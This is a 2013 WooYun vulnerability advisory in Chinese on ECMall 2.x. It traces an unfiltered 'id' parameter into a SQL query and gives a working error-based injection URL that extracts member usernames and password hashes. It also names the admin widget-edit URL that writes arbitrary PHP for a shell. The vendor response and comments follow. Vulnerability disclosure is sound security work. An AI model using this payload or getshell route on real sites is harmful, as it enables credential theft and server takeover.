当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(35) 关注此漏洞

缺陷编号: WooYun-2013-37510

漏洞标题: ecmall 2.x通杀SQL注入至后台getshell

相关厂商: ShopEx

漏洞作者: Chora认证白帽子

提交时间: 2013-09-18 22:39

公开时间: 2013-12-17 22:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-18: 细节已通知厂商并且等待厂商处理中
2013-09-20: 厂商已经确认,细节仅向厂商公开
2013-09-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2013-11-14: 细节向核心白帽子及相关领域专家公开
2013-11-24: 细节向普通白帽子公开
2013-12-04: 细节向实习白帽子公开
2013-12-17: 细节向公众公开

简要描述:

ecmall 2.x通杀SQL注入至后台getshell

详细说明:

app/buyer_groupbuy.app.php

code 区域
function exit_group()
{
$id = empty($_GET['id']) ? 0 : $_GET['id']; //没过滤你懂的。
if (!$id)
{
$this->show_warning('no_such_groupbuy');
return false;
}

// 判断是否能退团
if (!$this->_ican($id, ACT)) //跟进
{
$this->show_warning('Hacking Attempt');
return;
}
......
}
function _ican($id, $act = '')
{
......
$group = current($this->_member_mod->getRelatedData('join_groupbuy', $this->visitor->info['user_id'], array(
'conditions' => 'gb.group_id=' . $id, //带入
'order' => 'gb.group_id DESC',
'fields' => 'gb.state,groupbuy_log.order_id'
)));
......
}



eccore/model/mode.base.php

code 区域
function getRelatedData($relation_name, $ids, $find_param = array())
{
......
/* 构造查询条件 */
$conditions = $alias . '.' . $relation_info['foreign_key'] . ' ' . db_create_in($ids); //主键值限定
$conditions .= $relation_info['ext_limit'] ?
' AND ' . $this->_getExtLimit($relation_info['ext_limit'], $alias)
: '';
$conditions .= is_string($find_param['conditions']) ? ' AND ' . $find_param['conditions'] : '';
$find_param['conditions'] = $conditions; //带入
......
return $model->find($find_param);//跟进
}
function find($params = array())
{
extract($this->_initFindParams($params));

/* 字段(SELECT FROM) */
$fields = $this->getRealFields($fields);
$fields == '' && $fields = '*';

$tables = $this->table . ' ' . $this->alias;

/* 左联结(LEFT JOIN) */
$join_result = $this->_joinModel($tables, $join);

/* 原来为($join_result || $index_key),忘了最初的用意,默认加上主键应该是只为了为获得索引的数组服务的,因此只跟索引键是否是主键有关 */
if ($index_key == $this->prikey || (is_array($index_key) && in_array($this->prikey, $index_key)))
{
/* 如果索引键里有主键,则默认在要查询字段后加上主键 */
$fields .= ",{$this->alias}.{$this->prikey}";
}

/* 条件(WHERE) */
$conditions = $this->_getConditions($conditions, true);

/* 排序(ORDER BY) */
$order && $order = ' ORDER BY ' . $this->getRealFields($order);

/* 分页(LIMIT) */
$limit && $limit = ' LIMIT ' . $limit;
if ($count)
{
$this->_updateLastQueryCount("SELECT COUNT(*) as c FROM {$tables}{$conditions}");
}

/* 完整的SQL */
$sql = "SELECT {$fields} FROM {$tables}{$conditions}{$order}{$limit}";

return $index_key ? $this->db->getAllWithIndex($sql, $index_key) :
$this->db->getAll($sql);
//带入查询,结束.
}



http://localhost/ecmall/index.php?app=buyer_groupbuy&act=exit_group&id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b



后台GETSHELL的话就太多了没细看,因为是后台权限没多少用,只举一列.

code 区域
function edit()
{
$name = empty($_GET['name']) ? 0 : trim($_GET['name']);
if (!$name)
{
$this->show_warning('no_such_widget');

return;
}
$script_file = $this->_get_file($name, $_GET['file']);
if (!IS_POST)
{
$this->assign('code', file_get_contents($script_file));
$this->display('widget.form.html');
}
else
{
if (!file_put_contents($script_file, stripslashes($_POST['code'])))
{
$this->show_warning('edit_file_failed');

return;
}

$this->show_message('edit_file_successed');
}
}
function _get_file($name, $type = 'script')
{
$file = ROOT_PATH . '/external/widgets/' . $name;
switch ($type)
{
case 'script':
return $file . '/main.widget.php';
break;
case 'template':
return $file . '/widget.html';
break;
}
}



直接访问http://localhost/ecmall/admin/index.php?app=widget&act=edit&name=advt&file=script修改就行,对应的地址是http://localhost/ecmall/external/widgets/advt/main.widget.php

漏洞证明:

注入的前提是登陆会员,不过默认都开启了注册功能。

1.jpg



2.jpg



3.jpg

修复方案:

潜水很久混个脸熟- -。

版权声明:转载请注明来源 Chora@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2013-09-20 11:43

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2013-09-18 22:39 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1878 漏洞数:154 | 不要患得患失,我羡慕你,但是我还是选择做...)
    0

    1w的节奏?

  2. 2013-09-18 23:33 | 爱上平顶山 认证白帽子 ( 核心白帽子 | Rank:3097 漏洞数:614 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)
    0

    @小胖子 目测牛B

  3. 2013-09-19 15:25 | 岩少 ( 普通白帽子 | Rank:658 漏洞数:181 | 破晓团队)
    0

    这个程序用的多么?

  4. 2013-09-20 11:46 | Thanos ( 路人 | Rank:10 漏洞数:2 | 结界)
    0

    目测比当年人寿的要高@小胖子

  5. 2013-10-10 12:02 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1878 漏洞数:154 | 不要患得患失,我羡慕你,但是我还是选择做...)
    0

    牛逼!

  6. 2013-10-10 13:23 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    还有洞子的,这套程序虽然是shopex旗下的,但是高危估计也没有1w,500qb的节奏吧!

  7. 2013-10-24 14:43 | 虾米 ( 普通白帽子 | Rank:105 漏洞数:13 )
    0

    后台getshell?是编辑挂件那里 ?

  8. 2013-11-01 17:24 | 士大夫 ( 实习白帽子 | Rank:88 漏洞数:37 | 杭州WEB安全小组)
    0

    爆出的密码无法破解

  9. 2013-11-01 18:31 | Chora 认证白帽子 ( 普通白帽子 | Rank:377 漏洞数:25 | 生存、生活、生命。)
    0

登录后才能发表评论,请先 登录